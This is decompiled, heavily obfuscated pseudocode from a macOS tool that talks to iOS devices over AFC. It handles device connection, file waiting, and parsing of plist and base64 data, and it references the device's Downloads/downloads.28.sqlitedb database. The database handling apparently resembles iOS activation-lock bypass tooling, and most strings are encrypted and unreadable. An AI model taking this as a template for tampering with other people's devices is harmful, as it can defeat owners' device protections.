asc_100283300[12] = 114;
asc_100283300[13] = 32;
asc_100283300[14] = 112;
asc_100283300[15] = 97;
asc_100283300[16] = 114;
asc_100283300[17] = 115;
asc_100283300[18] = 105;
asc_100283300[19] = 110;
asc_100283300[20] = 103;
asc_100283300[21] = 32;
asc_100283300[22] = 88;
asc_100283300[23] = 77;
asc_100283300[24] = 76;
asc_100283300[25] = 58;
asc_100283300[26] = 32;
*v93 = 1059727977;
}
else if ( v64 == -1422285123 )
{
*v70 = (__int64)CFSTR("\x98D7v\x1E.\xDC\x42\xA6\xF6\x91\xCA\xBC\xAD\xB1\"\xC1\xB6\x1A'ݓ\t\xBE\r\x93\x83\x13j-\x9F");
v70[1] = (__int64)CFSTR("\x80[9ӯ\x7Fim9\u0379\x04\xCA\x11\xBB\xE7\x07\x96ZnG\x9E(~\x17%-vN\n\xE3\x0B\x8F\x97-\xFE");
v70[2] = (__int64)CFSTR("\xA9+KU:>\xF0\xE9\x36\xA4\xE3\xDE\xE5d-u\x14s&\x9D\x89\x19\xEC\xCF\x38\xC0\xCDW#\xEF\xFD\xA6\x9D\xDA\xF8\x92");
v12 = objc_msgSend(&OBJC_CLASS___NSArray, v44, v70, 3);
v72 = objc_retainAutoreleasedReturnValue(v12);
v73 = "count";
*v93 = 1180901071;
}
}
else if ( v64 > -1609416521 )
{
if ( v64 == -1609416520 )
{
v10 = 0;
v3 = -1720215272;
v11 = 1783830146;
goto LABEL_337;
}
if ( v64 == -1563991082 )
{
v2 = 1;
v3 = -481593446;
v4 = -1185617290;
goto LABEL_349;
}
}
else if ( v64 == -1621684889 )
{
*v93 = -412794197;
}
else if ( v64 == -1616529195 )
{
HikariFunctionWrapper_18017(v81, v75);
*v93 = 1982263476;
}
}
else if ( v64 <= -1181370700 )
{
if ( v64 > -1220610970 )
{
if ( v64 == -1220610969 )
{
dword_10029F5B8 = 1;
*v93 = -1870563806;
}
else if ( v64 == -1185617290 )
{
*v93 = 43283439;
}
}
else
{
if ( v64 == -1252195748 )
{
v81 = v59;
objc_retain(v59);
v10 = v81 == 0;
v3 = 588236841;
v11 = 489071792;
goto LABEL_337;
}
if ( v64 == -1232965862 )
{
v2 = 0;
v3 = 1619662766;
v4 = 974186711;
goto LABEL_349;
}
}
}
else if ( v64 <= -1037974221 )
{
if ( v64 == -1181370699 )
{
v10 = 0;
v3 = 796758364;
v11 = -1905946732;
goto LABEL_337;
}
if ( v64 == -1137176233 )
{
v7 = !v87;
v3 = 461795374;
v8 = 1113688132;
goto LABEL_353;
}
}
else
{
switch ( v64 )
{
case -1037974220:
v10 = 0;
v3 = 1677958027;
v11 = -305771432;
goto LABEL_337;
case -1005907969:
v7 = !v88;
v3 = 1779438329;
v8 = 232347757;
LABEL_353:
if ( !v7 )
v3 = v8;
goto LABEL_355;
case -997292116:
v2 = 1;
v50 = &OBJC_CLASS___NSDictionary;
v78 = "class";
v3 = -997292116;
v4 = -255500043;
goto LABEL_349;
}
}
}
else if ( v64 <= -1814461364 )
{
if ( v64 > -1905946733 )
{
if ( v64 > -1870563807 )
{
if ( v64 == -1870563806 )
{
dword_10029F5B8 = 1;
v68 = (id *)&v42;
v69 = &v42;
v2 = 0;
v70 = &v42 - 4;
v3 = 1755393579;
v4 = -1220610969;
goto LABEL_349;
}
if ( v64 == -1856866942 )
*v93 = -1871766778;
}
else if ( v64 == -1905946732 )
{
*v93 = 796758364;
}
else if ( v64 == -1871766778 )
{
asc_100283300[27] = v83;
asc_100283300[28] = 64;
asc_100283300[29] = 0;
asc_1002832DE[0] = 98;
asc_1002832DE[1] = 0;
strcpy(asc_1002832B0, "Downloads/downloads.28.sqlitedb-shm");
a5_6[0] = 99;
a5_6[1] = 0;
aE_18[0] = 97;
aE_18[1] = 0;
strcpy(asc_100283210, "Downloads/downloads.28.sqlitedb-wal");
strcpy(asc_100283260, "Downloads/downloads.28.sqlitedb");
aKVH[0] = 91;
aKVH[1] = 65;
aKVH[2] = 108;
aKVH[3] = 100;
aKVH[4] = 97;
aKVH[5] = 122;
aKVH[6] = 93;
aKVH[7] = 32;
aKVH[8] = 75;
aKVH[9] = 101;
aKVH[10] = 121;
aKVH[11] = 32;
aKVH[12] = 37;
aKVH[13] = 64;
aKVH[14] = 32;
aKVH[15] = 118;
aKVH[16] = 97;
aKVH[17] = 99;
aKVH[18] = 237;
aKVH[19] = 111;
aKVH[20] = 32;
aKVH[21] = 111;
aKVH[22] = 32;
aKVH[23] = 105;
aKVH[24] = 110;
aKVH[25] = 118;
aKVH[26] = 225;
aKVH[27] = 108;
aKVH[28] = 105;
aKVH[29] = 100;
aKVH[30] = 111;
aKVH[31] = 0;
*v93 = 1196590718;
}
}
else if ( v64 > -2079842517 )
{
if ( v64 == -2079842516 )
{
v2 = 1;
v3 = 1279980648;
v4 = -682284561;
goto LABEL_349;
}
if ( v64 == -2042223680 )
{
NSLog(
CFSTR("\x9C\xCA\x39\x1AP\x1B |\x97qB\xB2\xB8\x7F\x02f\x18\x99\xB8^\xEE\xE1\x05\r\xE2\x4A\x7A\xFA\f"),
v51);
*v93 = 1548114907;
}
}
else if ( v64 == -2129329973 )
{
v47 = HikariFunctionWrapper_18005(v46, v45);
*v93 = -641820821;
}
else if ( v64 == -2115254291 )
{
v10 = 0;
v74 = "objectAtIndexedSubscript:";
v3 = 1774321748;
v11 = -2115254291;
goto LABEL_337;
}
}
else if ( v64 <= -1720215273 )
{
if ( v64 > -1752923994 )
{
if ( v64 == -1752923993 )
{
v2 = 0;
v3 = 105138504;
v4 = 691407381;
goto LABEL_349;
}
if ( v64 == -1735563444 )
*v93 = 347242678;
}
else if ( v64 == -1814461363 )
{
*v93 = -1252195748;
v59 = v47;
}
else if ( v64 == -1759576102 )
{
objc_release(v61);
objc_release(v76);
objc_release(v65);
objc_release(v49);
*v93 = 1012944494;
}
}
else if ( v64 <= -1705964244 )
{
if ( v64 == -1720215272 )
{
v37 = objc_msgSend(a1, "dataUsingEncoding:", 4);
v38 = objc_retainAutoreleasedReturnValue(v37);
v7 = 0;
v49 = v38;
v43 = &OBJC_CLASS___NSPropertyListSerialization;
*v68 = 0;
v3 = 1783830146;
v8 = 2055259179;
goto LABEL_353;
}
if ( v64 == -1716570182 )
{
v2 = 0;
v3 = -1414059294;
v4 = 812226574;
goto LABEL_349;
}
}
else
{
switch ( v64 )
{
case -1705964243:
*v93 = 1859650887;
break;
case -1699270653:
v88 = HikariFunctionWrapper_17999(v79, v73) == 0;
v5 = 1;
v3 = -1005907969;
goto LABEL_344;
case -1674248775:
v2 = 0;
v3 = 212413903;
v4 = -923774301;
goto LABEL_349;
}
}
}
if ( v64 > 1012944493 )
break;
if ( v64 > 452834387 )
{
if ( v64 <= 691407380 )
{
if ( v64 > 534623423 )
{
if ( v64 > 596487237 )
{
if ( v64 == 596487238 )
{
*v93 = -78199138;
}
else if ( v64 == 682811384 )
{
asc_100283300[0] = 91;
asc_100283300[1] = 65;
asc_100283300[2] = 108;
asc_100283300[3] = 100;
*v93 = -88184111;
}
}
else if ( v64 == 534623424 )
{
*v93 = 117622149;
}
else if ( v64 == 588236841 )
{
v5 = 1;
v3 = 1982263476;
v6 = -1616529195;
goto LABEL_345;
}
}
else if ( v64 > 461795373 )
{
if ( v64 == 461795374 )
{
*v69 = (__int64)CFSTR("E");
v69[1] = (__int64)CFSTR("\xBE\x94");
v69[2] = (__int64)CFSTR("5\xAC");
v44 = "arrayWithObjects:count:";
v27 = +[NSArray arrayWithObjects:count:](
&OBJC_CLASS___NSArray,
"arrayWithObjects:count:",
v69,
3);
v79 = objc_retainAutoreleasedReturnValue(v27);
*v93 = -1422285123;
}
else if ( v64 == 489071792 )
{
NSLog(
CFSTR("잋ꞡ会炳틹귖쯾뉷걑ﬤ蝊頠வ┾뉢飬롤깂忮컆䘗劰젫鹥뙸叔癨㏣ᇂ"),
v66);
*v93 = -1563991082;
}
}
else
{
if ( v64 == 452834388 )
{
v77 = v58;
v5 = 1;
v3 = 197826445;
v6 = -1351019724;
goto LABEL_345;
}
if ( v64 == 457420725 )
{
objc_msgSend(v80, v71, v55);
*v93 = -484203914;
}
}
}
else if ( v64 <= 812226573 )
{
if ( v64 > 769892820 )
{
if ( v64 == 769892821 )
{
*v93 = -997292116;
}
else if ( v64 == 796758364 )
{
v2 = 0;
v52 = "objectForKeyedSubscript:";
v45 = "initWithBase64EncodedString:options:";
v75 = "length";
v53 = "UTF8String";
v54 = "bytes";
v3 = -1735563444;
v4 = 796758364;
goto LABEL_349;
}
}
else if ( v64 == 691407381 )
{
HikariFunctionWrapper_18015(&OBJC_CLASS___NSString, v78);
*v93 = 105138504;
}
else if ( v64 == 768559551 )
{
v14 = objc_msgSend(v81, v54);
v15 = objc_msgSend(v81, v75);
HikariFunctionWrapper_18007(v67, (__int64)v14, (__int64)v15, (__int64)v56);
*v93 = 1576485803;
}
}
else if ( v64 <= 916422767 )
{
if ( v64 == 812226574 )
{
objc_alloc((Class)&OBJC_CLASS___NSData);
*v93 = -1414059294;
}
else if ( v64 == 883354688 )
{
objc_retainAutorelease(v81);
v5 = 1;
v3 = -778886967;
v6 = 883354688;
goto LABEL_345;
}
}
else
{
switch ( v64 )
{
case 916422768:
v10 = 0;
v3 = 768559551;
v11 = -72030051;
goto LABEL_337;
case 973113096:
*v93 = 1732312348;
break;
case 974186711:
*v93 = 1619662766;
break;
}
}
}
else if ( v64 <= 212413902 )
{
if ( v64 > 105138503 )
{
if ( v64 > 165680738 )
{
if ( v64 == 165680739 )
{
objc_retainAutorelease(v81);
*v93 = 883354688;
}
else if ( v64 == 197826445 )
{
v17 = objc_msgSend(v79, v74, v77);
v66 = objc_retainAutoreleasedReturnValue(v17);
v18 = objc_msgSend(v76, v52, v66);
v80 = objc_retainAutoreleasedReturnValue(v18);
v19 = objc_msgSend(&OBJC_CLASS___NSData, v78);
v89 = (unsigned __int8)objc_msgSend(v80, v71, v19) == 0;
v2 = 0;
v3 = 2032937171;
v4 = -1351019724;
goto LABEL_349;
}
}
else
{
if ( v64 == 105138504 )
{
v26 = HikariFunctionWrapper_18001(&OBJC_CLASS___NSString, v78);
v5 = 0;
v55 = v26;
v3 = 105138504;
v6 = 30070258;
goto LABEL_345;
}
if ( v64 == 117622149 )
{
v5 = 1;
v3 = -489861750;
v6 = 1156078090;
goto LABEL_345;
}
}
}
else if ( v64 > 43283438 )
{
if ( v64 == 43283439 )
goto LABEL_268;
if ( v64 == 94639751 )
{
objc_release(v62);
objc_release(v66);
objc_msgSend(v79, v73);
*v93 = 213420286;
}
}
else if ( v64 == 30070258 )
{
*v93 = 433062077;
}
else if ( v64 == 34842889 )
{
objc_release(v80);
*v93 = -54784072;
}
}
else if ( v64 <= 287762835 )
{
if ( v64 > 213420285 )
{
if ( v64 == 213420286 )
{
objc_release(v62);
objc_release(v66);
v57 = v77 + 1;
v33 = objc_msgSend(v79, v73);
v92 = (unsigned __int64)v33 > v57;
v7 = 0;
v3 = 94639751;
v8 = -586246019;
goto LABEL_353;
}
if ( v64 == 232347757 )
LABEL_325:
*v93 = -405565386;
}
else
{
if ( v64 == 212413903 )
{
v31 = objc_msgSend(v72, v74, v77);
v32 = objc_retainAutoreleasedReturnValue(v31);
objc_retainAutorelease(v32);
v56 = objc_msgSend(v32, v53);
objc_release(v32);
v5 = 1;
v3 = 1802364963;
v6 = 212413903;
goto LABEL_345;
}
if ( v64 == 212736873 )
{
v13 = -1716570182;
if ( v90 )
v13 = -154402170;
*v93 = v13;
v60 = v80;
}
}
}
else if ( v64 <= 347242677 )
{
if ( v64 == 287762836 )
{
*v93 = 1848033693;
}
else if ( v64 == 323837057 )
{
v7 = !v82;
v3 = 1196590718;
v8 = 682811384;
goto LABEL_353;
}
}
else
{
switch ( v64 )
{
case 347242678:
v5 = 0;
v3 = -780361463;
v6 = 1170873130;
goto LABEL_345;
case 411077790:
v40 = objc_msgSend(v50, v78);
v71 = "isKindOfClass:";
v87 = (unsigned __int8)objc_msgSend(v76, "isKindOfClass:", v40) == 0;
v7 = 0;
v3 = -794673648;
v8 = -57411375;
goto LABEL_353;
case 433062077:
v5 = 1;
v3 = -484203914;
v6 = 457420725;
goto LABEL_345;
}
}
}
if ( v64 <= 1732312347 )
break;
if ( v64 <= 1862144921 )
{
if ( v64 > 1783830145 )
{
if ( v64 > 1848033692 )
{
if ( v64 == 1848033693 )
{
v2 = 1;
v3 = 1848033693;
v4 = 212736873;
goto LABEL_349;
}
if ( v64 == 1859650887 )
{
v7 = 0;
v85 = v84 & ~(v84 ^ (v67 != 0)) & 1;
v3 = -1705964243;
v8 = -446685280;
goto LABEL_353;
}
}
else if ( v64 == 1783830146 )
{
v25 = objc_msgSend(a1, "dataUsingEncoding:", 4);
objc_retainAutoreleasedReturnValue(v25);
*v68 = 0;
*v93 = -1720215272;
}
else if ( v64 == 1802364963 )
{
*v93 = 2072562615;
}
}
else if ( v64 > 1774321747 )
{
if ( v64 == 1774321748 )
{
*v93 = -1181370699;
}
else if ( v64 == 1779438329 )
{
v10 = 0;
v3 = -2115254291;
v11 = 2142876341;
goto LABEL_337;
}
}
else
{
if ( v64 == 1732312348 )
{
v5 = 1;
v3 = -765540255;
goto LABEL_274;
}
if ( v64 == 1755393579 )
*v93 = 1887846617;
}
}
else if ( v64 <= 1982263475 )
{
if ( v64 > 1916215168 )
{
if ( v64 == 1916215169 )
{
v7 = !v91;
v3 = -1674248775;
v8 = 489071792;
goto LABEL_353;
}
if ( v64 == 1940313615 )
{
v2 = 0;
v3 = 411077790;
v4 = -794673648;
goto LABEL_349;
}
}
else if ( v64 == 1862144922 )
{
v91 = v48 == 0;
*v93 = 1916215169;
}
else if ( v64 == 1887846617 )
{
v5 = 1;
v3 = 1232240344;
v6 = -734528188;
goto LABEL_345;
}
}
else if ( v64 <= 2055259178 )
{
if ( v64 == 1982263476 )
{
v34 = objc_msgSend(v81, v75);
v10 = 0;
v48 = v34;
v3 = -328556599;
v11 = 1982263476;
goto LABEL_337;
}
if ( v64 == 2032937171 )
{
v24 = -1252195748;
if ( v89 )
v24 = -1752923993;
*v93 = v24;
v59 = v80;
}
}
else
{
switch ( v64 )
{
case 2055259179:
*v93 = 1702826029;
break;
case 2072562615:
v5 = 1;
v3 = 883354688;
v6 = 165680739;
goto LABEL_345;
case 2142876341:
*v93 = -2115254291;
break;
}
}
}
if ( v64 <= 1353101747 )
break;
if ( v64 > 1619662765 )
{
if ( v64 > 1677958026 )
{
if ( v64 == 1677958027 )
{
v82 = v63 == 0;
v7 = 0;
v3 = -305771432;
v8 = -534586442;
goto LABEL_353;
}
if ( v64 == 1702826029 )
{
v16 = objc_msgSend(v43, "propertyListWithData:options:format:error:", v49, 0, 0, v68);
v76 = objc_retainAutoreleasedReturnValue(v16);
v65 = *v68;
objc_retain(v65);
v86 = v65 == 0;
*v93 = -747811251;
}
}
else
{
if ( v64 == 1619662766 )
{
v5 = 1;
v3 = 323837057;
v6 = 974186711;
goto LABEL_345;
}
if ( v64 == 1659472785 )
{
*v93 = -1759576102;
v61 = v51;
}
}
}
else if ( v64 > 1548114906 )
{
if ( v64 == 1548114907 )
{
v2 = 1;
v3 = -647731446;
v4 = -454243662;
goto LABEL_349;
}
if ( v64 == 1576485803 )
LABEL_268:
*v93 = -349731673;
}
else if ( v64 == 1353101748 )
{
*v93 = -1759576102;
v61 = v79;
}
else if ( v64 == 1537887033 )
{
objc_msgSend(v79, v73);
*v93 = -1699270653;
}
}
if ( v64 <= 1180901070 )
break;
if ( v64 > 1232240343 )
{
if ( v64 == 1232240344 )
{
v84 = a1 != 0;
v2 = 1;
v3 = 1232240344;
v4 = -1621684889;
goto LABEL_349;
}
if ( v64 == 1279980648 )
*v93 = -682284561;
}
else
{
if ( v64 == 1180901071 )
{
v5 = 0;
v3 = 1537887033;
LABEL_344:
v6 = -1699270653;
LABEL_345:
if ( !v5 )
v3 = v6;
goto LABEL_355;
}
if ( v64 == 1196590718 )
*v93 = -1870563806;
}
}
if ( v64 <= 1156078089 )
break;
if ( v64 == 1156078090 )
{
*v93 = -489861750;
}
else if ( v64 == 1170873130 )
{
v5 = 1;
v3 = -394001005;
v6 = -780361463;
goto LABEL_345;
}
}
if ( v64 != 1059727977 )
break;
asc_100283300[4] = 97;
asc_100283300[5] = 122;
asc_100283300[6] = 93;
asc_100283300[7] = 32;
asc_100283300[8] = 69;
asc_100283300[9] = 114;
asc_100283300[10] = 114;
asc_100283300[11] = 111;
asc_100283300[12] = 114;
asc_100283300[13] = 32;
asc_100283300[14] = 112;
asc_100283300[15] = 97;
asc_100283300[16] = 114;
asc_100283300[17] = 115;
asc_100283300[18] = 105;
asc_100283300[19] = 110;
asc_100283300[20] = 103;
v10 = 0;
asc_100283300[21] = 32;
asc_100283300[22] = 88;
asc_100283300[23] = 77;
asc_100283300[24] = 76;
asc_100283300[25] = 58;
asc_100283300[26] = 32;
v83 = 37;
v3 = -1856866942;
LABEL_336:
v11 = -1445223454;
LABEL_337:
if ( v10 )
v3 = v11;
LABEL_355:
*v93 = v3;
}
if ( v64 != 1113688132 )
break;
v9 = HikariFunctionWrapper_17997(v65, "localizedDescription");
v51 = objc_retainAutoreleasedReturnValue(v9);
*v93 = -2042223680;
}
}
while ( v64 != 1012944494 );
return -1;
}
// 1002831A0: using guessed type __int16 aKVH[32];
// 100283380: using guessed type __CFString stru_100283380;
// 1002833C0: using guessed type __CFString stru_1002833C0;
// 100283400: using guessed type __CFString cfstr_5_6;
// 100283440: using guessed type __CFString stru_100283440;
// 100283480: using guessed type __CFString stru_100283480;
// 1002834C0: using guessed type __CFString cfstr_E_18;
// 10029F5B8: using guessed type int dword_10029F5B8;
//----- (0000000100157B66) ----------------------------------------------------
__int64 __fastcall CloseAFCConnection(__int64 a1)
{
__int64 result; // rax
bool v2; // zf
int v3; // eax
int v4; // ecx
char v5; // cf
int v6; // ecx
int v7; // [rsp+8h] [rbp-38h] BYREF
bool v8; // [rsp+Fh] [rbp-31h]
int *v9; // [rsp+10h] [rbp-30h]
v7 = -2093653367;
v9 = &v7;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v7;
if ( v7 > -19443915 )
break;
if ( v7 > -1476299795 )
{
if ( v7 > -1244529608 )
{
if ( v7 == -1244529607 )
{
AFCConnectionClose(a1);
*v9 = -1886187734;
}
else if ( v7 == -610742948 )
{
v3 = 401968706;
goto LABEL_43;
}
}
else if ( v7 == -1476299794 )
{
*v9 = 943351450;
}
else if ( v7 == -1457027597 )
{
v3 = -1476299794;
goto LABEL_43;
}
}
else if ( v7 > -1886187735 )
{
if ( v7 == -1886187734 )
{
AFCConnectionClose(a1);
v5 = 0;
v3 = -1886187734;
v6 = 1228529694;
LABEL_41:
if ( !v5 )
v3 = v6;
LABEL_43:
*v9 = v3;
}
else if ( v7 == -1876037431 )
{
v8 = a1 == 0;
v3 = 1275545370;
goto LABEL_43;
}
}
else
{
if ( v7 == -2093653367 )
{
v3 = -1876037431;
goto LABEL_43;
}
if ( v7 == -1895937469 )
{
v5 = 1;
v3 = -1457027597;
v6 = 1990198754;
goto LABEL_41;
}
}
}
if ( v7 <= 1228529693 )
break;
if ( v7 > 1688546385 )
{
if ( v7 == 1688546386 )
{
*v9 = -1876037431;
}
else if ( v7 == 1990198754 )
{
*v9 = -1457027597;
}
}
else if ( v7 == 1228529694 )
{
*v9 = -1895937469;
}
else if ( v7 == 1275545370 )
{
*v9 = -19443914;
}
}
if ( v7 > 401968705 )
break;
if ( v7 == -19443914 )
{
v2 = !v8;
v3 = 1057842728;
v4 = 943351450;
LABEL_35:
if ( !v2 )
v3 = v4;
goto LABEL_43;
}
if ( v7 == -3911480 )
*v9 = -610742948;
}
if ( v7 == 943351450 )
{
v3 = -610742948;
goto LABEL_43;
}
if ( v7 == 1057842728 )
{
v2 = 0;
v3 = -1244529607;
v4 = -1886187734;
goto LABEL_35;
}
}
while ( v7 != 401968706 );
return result;
}
// 100157E51: conditional instruction was optimized away because %var_3C.4==D0679BF
// 1002560F0: using guessed type __int64 __fastcall AFCConnectionClose(_QWORD);
//----- (0000000100157F2D) ----------------------------------------------------
_BOOL8 isDeviceConnected()
{
int v0; // r8d
int v2; // [rsp+4h] [rbp-14h] BYREF
int *v3; // [rsp+8h] [rbp-10h]
bool v4; // [rsp+15h] [rbp-3h]
bool v5; // [rsp+16h] [rbp-2h]
bool v6; // [rsp+17h] [rbp-1h]
v2 = 479644799;
v3 = &v2;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v2 > 83969792 )
{
if ( v2 > 479644798 )
{
if ( v2 == 1694988826 )
{
v6 = v4 && v5;
v0 = -1781735476;
LABEL_20:
*v3 = v0;
}
else if ( v2 == 479644799 )
{
v0 = 83969793;
goto LABEL_20;
}
}
else
{
if ( v2 == 83969793 )
{
v4 = connected == 1;
v0 = -630154625;
goto LABEL_20;
}
if ( v2 == 469869553 )
{
v0 = 1694988826;
goto LABEL_20;
}
}
}
if ( v2 <= -630154626 )
break;
if ( v2 == -630154625 )
{
*v3 = -320847352;
}
else if ( v2 == -320847352 )
{
v5 = ct == 1;
*v3 = 469869553;
}
}
if ( v2 != -985547390 )
break;
*v3 = 83969793;
}
if ( v2 != -839413173 )
break;
*v3 = 1694988826;
}
}
while ( v2 != -1781735476 );
return v6;
}
// 100158061: conditional instruction was optimized away because %var_18.4==239F3FB3
// 10029F838: using guessed type int connected;
// 10029F83C: using guessed type int ct;
//----- (0000000100158159) ----------------------------------------------------
char __fastcall AFCAwaitNonEmptyFile(__int64 a1, const char *a2, int a3)
{
char v4; // cf
int v5; // eax
int v6; // ecx
bool v7; // zf
int v8; // ecx
bool v9; // cf
int v10; // ecx
time_t v11; // rax
bool v12; // zf
int v13; // eax
int v14; // ecx
int v15; // eax
int v16; // eax
bool v17; // si
__int64 v18; // rcx
int v19; // eax
time_t v21; // [rsp+0h] [rbp-E0h] BYREF
double v22; // [rsp+8h] [rbp-D8h]
char *v23; // [rsp+10h] [rbp-D0h]
__int64 v24; // [rsp+18h] [rbp-C8h]
__int64 v25; // [rsp+20h] [rbp-C0h]
time_t v26; // [rsp+28h] [rbp-B8h]
double v27; // [rsp+30h] [rbp-B0h]
double v28; // [rsp+38h] [rbp-A8h]
time_t v29; // [rsp+40h] [rbp-A0h]
double v30; // [rsp+48h] [rbp-98h]
char *__s1; // [rsp+50h] [rbp-90h]
__int64 v32; // [rsp+58h] [rbp-88h]
__int64 v33; // [rsp+60h] [rbp-80h]
unsigned int v34; // [rsp+6Ch] [rbp-74h]
int v35; // [rsp+70h] [rbp-70h]
int v36; // [rsp+74h] [rbp-6Ch]
int v37; // [rsp+78h] [rbp-68h]
int v38; // [rsp+7Ch] [rbp-64h] BYREF
char **v39; // [rsp+80h] [rbp-60h]
char **v40; // [rsp+88h] [rbp-58h]
__int64 *v41; // [rsp+90h] [rbp-50h]
bool v42; // [rsp+9Eh] [rbp-42h]
bool v43; // [rsp+9Fh] [rbp-41h]
bool v44; // [rsp+A0h] [rbp-40h]
bool v45; // [rsp+A1h] [rbp-3Fh]
bool v46; // [rsp+A2h] [rbp-3Eh]
bool v47; // [rsp+A3h] [rbp-3Dh]
bool v48; // [rsp+A4h] [rbp-3Ch]
bool v49; // [rsp+A5h] [rbp-3Bh]
bool v50; // [rsp+A6h] [rbp-3Ah]
bool v51; // [rsp+A7h] [rbp-39h]
bool v52; // [rsp+A8h] [rbp-38h]
bool v53; // [rsp+A9h] [rbp-37h]
bool v54; // [rsp+AAh] [rbp-36h]
bool v55; // [rsp+ABh] [rbp-35h]
char v56; // [rsp+ACh] [rbp-34h]
char v57; // [rsp+ADh] [rbp-33h]
char v58; // [rsp+AEh] [rbp-32h]
char v59; // [rsp+AFh] [rbp-31h]
int *v60; // [rsp+B0h] [rbp-30h]
v34 = -1000121456;
v38 = 1606217591;
v60 = &v38;
v28 = (double)a3;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v38 <= 2793764 )
{
if ( v38 > -981205859 )
{
if ( v38 > -364857946 )
{
if ( v38 <= -196402130 )
{
if ( v38 > -316242990 )
{
if ( v38 > -218262790 )
{
if ( v38 == -218262789 )
{
v4 = 0;
v5 = 1666037831;
goto LABEL_304;
}
if ( v38 == -210898735 )
{
v18 = *v41;
v51 = *v41 == 0;
v4 = 1;
v25 = v18;
v5 = -659464705;
v6 = -210898735;
goto LABEL_337;
}
}
else
{
if ( v38 == -316242989 )
{
v7 = 0;
v5 = -316242989;
v8 = -170302898;
goto LABEL_345;
}
if ( v38 == -308168891 )
{
AFCKeyValueRead(*v41);
*v60 = 363414292;
}
}
}
else if ( v38 > -331087389 )
{
if ( v38 == -331087388 )
{
v12 = !v44;
v13 = -1150842180;
v14 = -1086545286;
LABEL_297:
if ( !v12 )
v13 = v14;
*v60 = v13;
v59 = 0;
}
else if ( v38 == -324851311 )
{
v4 = 1;
v5 = 1937867792;
v6 = -483398201;
goto LABEL_337;
}
}
else
{
if ( v38 == -364857945 )
{
v9 = 0;
v5 = -840215274;
v10 = -574499332;
goto LABEL_332;
}
if ( v38 == -341000981 )
{
v12 = !v43;
v13 = -1150842180;
v14 = 352808850;
goto LABEL_297;
}
}
}
else if ( v38 <= -45937173 )
{
if ( v38 > -115086846 )
{
if ( v38 == -115086845 )
{
v7 = 0;
v35 = dword_10029F5C4;
v5 = -115086845;
v8 = 143134517;
goto LABEL_345;
}
if ( v38 == -72544263 )
{
v37 = strcmp(a2, &byte_100280B70);
*v60 = 615971226;
}
}
else if ( v38 == -196402129 )
{
*v60 = -1549053121;
}
else if ( v38 == -170302898 )
{
v7 = !v54;
goto LABEL_170;
}
}
else if ( v38 <= -11812520 )
{
if ( v38 == -45937172 )
{
v5 = -1319754041;
goto LABEL_347;
}
if ( v38 == -31840633 )
{
v9 = 0;
v5 = 1270640615;
v10 = 2049006092;
goto LABEL_332;
}
}
else
{
switch ( v38 )
{
case -11812519:
*v60 = -1397926367;
break;
case -3726512:
*v60 = -1806536215;
break;
case -2845769:
v7 = !v50;
v5 = -1579820160;
v8 = -1976291873;
goto LABEL_345;
}
}
}
else if ( v38 <= -685686066 )
{
if ( v38 > -848039578 )
{
if ( v38 > -755094199 )
{
if ( v38 == -755094198 )
{
*v60 = 1703194393;
}
else if ( v38 == -754270158 )
{
*v60 = -218262789;
}
}
else
{
if ( v38 == -848039577 )
{
v7 = 0;
v5 = -398110320;
v8 = -1295177233;
goto LABEL_345;
}
if ( v38 == -840215274 )
{
v50 = v36 == 0;
v7 = 0;
v5 = -840215274;
v8 = -853127313;
goto LABEL_345;
}
}
}
else if ( v38 > -853683281 )
{
if ( v38 == -853683280 )
{
v5 = 1856917855;
goto LABEL_347;
}
if ( v38 == -853127313 )
*v60 = 1804324724;
}
else
{
if ( v38 == -981205858 )
{
v26 = time(0);
v5 = -1774293049;
goto LABEL_347;
}
if ( v38 == -910913628 )
*v60 = -1397926367;
}
}
else if ( v38 <= -580434813 )
{
if ( v38 > -646502111 )
{
if ( v38 == -646502110 )
{
*v60 = -31840633;
}
else if ( v38 == -623197775 )
{
*v60 = 1293580107;
}
}
else
{
if ( v38 == -685686065 )
{
v52 = v37 == 0;
v9 = 1;
v5 = -685686065;
v10 = -1262889476;
goto LABEL_332;
}
if ( v38 == -659464705 )
{
v7 = !v51;
v5 = 118036729;
v8 = -72544263;
goto LABEL_345;
}
}
}
else if ( v38 <= -498059786 )
{
if ( v38 == -580434812 )
{
v7 = !v47;
v5 = 976696737;
v8 = 1219856351;
goto LABEL_345;
}
if ( v38 == -574499332 )
*v60 = -840215274;
}
else
{
switch ( v38 )
{
case -498059785:
*v40 = 0;
*v60 = -1091415948;
break;
case -483398201:
*v60 = 1937867792;
break;
case -398110320:
*v60 = -1295177233;
break;
}
}
}
else if ( v38 > -1430672131 )
{
if ( v38 <= -1241135630 )
{
if ( v38 > -1319754042 )
{
if ( v38 > -1295177234 )
{
if ( v38 == -1295177233 )
{
v47 = v45 && v46;
*v60 = 1009182259;
}
else if ( v38 == -1262889476 )
{
*v60 = -1505736673;
}
}
else
{
if ( v38 == -1319754041 )
{
v7 = 0;
v5 = -1319754041;
v8 = 1731680155;
goto LABEL_345;
}
if ( v38 == -1315723096 )
*v60 = -1579820160;
}
}
else if ( v38 > -1397926368 )
{
if ( v38 == -1397926367 )
{
v4 = 1;
v5 = -981205858;
v6 = 1019387514;
goto LABEL_337;
}
if ( v38 == -1372545433 )
*v60 = -1684989953;
}
else if ( v38 == -1430672130 )
{
*v60 = -210898735;
}
else if ( v38 == -1418181656 )
{
*v60 = -1911603673;
}
}
else if ( v38 <= -1086545287 )
{
if ( v38 > -1091415949 )
{
if ( v38 == -1091415948 )
{
v9 = 1;
*v40 = 0;
v5 = -498059785;
v10 = -1315723096;
LABEL_332:
if ( v9 )
v5 = v10;
LABEL_347:
*v60 = v5;
}
else if ( v38 == -1090386586 )
{
strcpy(asc_100283570, "[Aldaz] File not yet available: %s (retrying...)");
qmemcpy(&byte_100280B70, "iTunes_Control/iTunes/iTune", 27);
*v60 = 2094245535;
}
}
else if ( v38 == -1241135629 )
{
*v60 = -853683280;
}
else if ( v38 == -1150842180 )
{
v56 = v59;
v4 = 0;
v5 = 1381567826;
v6 = 1543595544;
goto LABEL_337;
}
}
else if ( v38 <= -1044053538 )
{
if ( v38 == -1086545286 )
{
*v41 = 0;
v45 = (unsigned int)AFCFileInfoOpen(a1, a2, v41) == 0;
v46 = *v41 != 0;
*v60 = -848039577;
}
else if ( v38 == -1078920812 )
{
strcmp(__s1, asc_100283528);
*v60 = 838220596;
}
}
else
{
switch ( v38 )
{
case -1044053537:
v42 = v35 == 0;
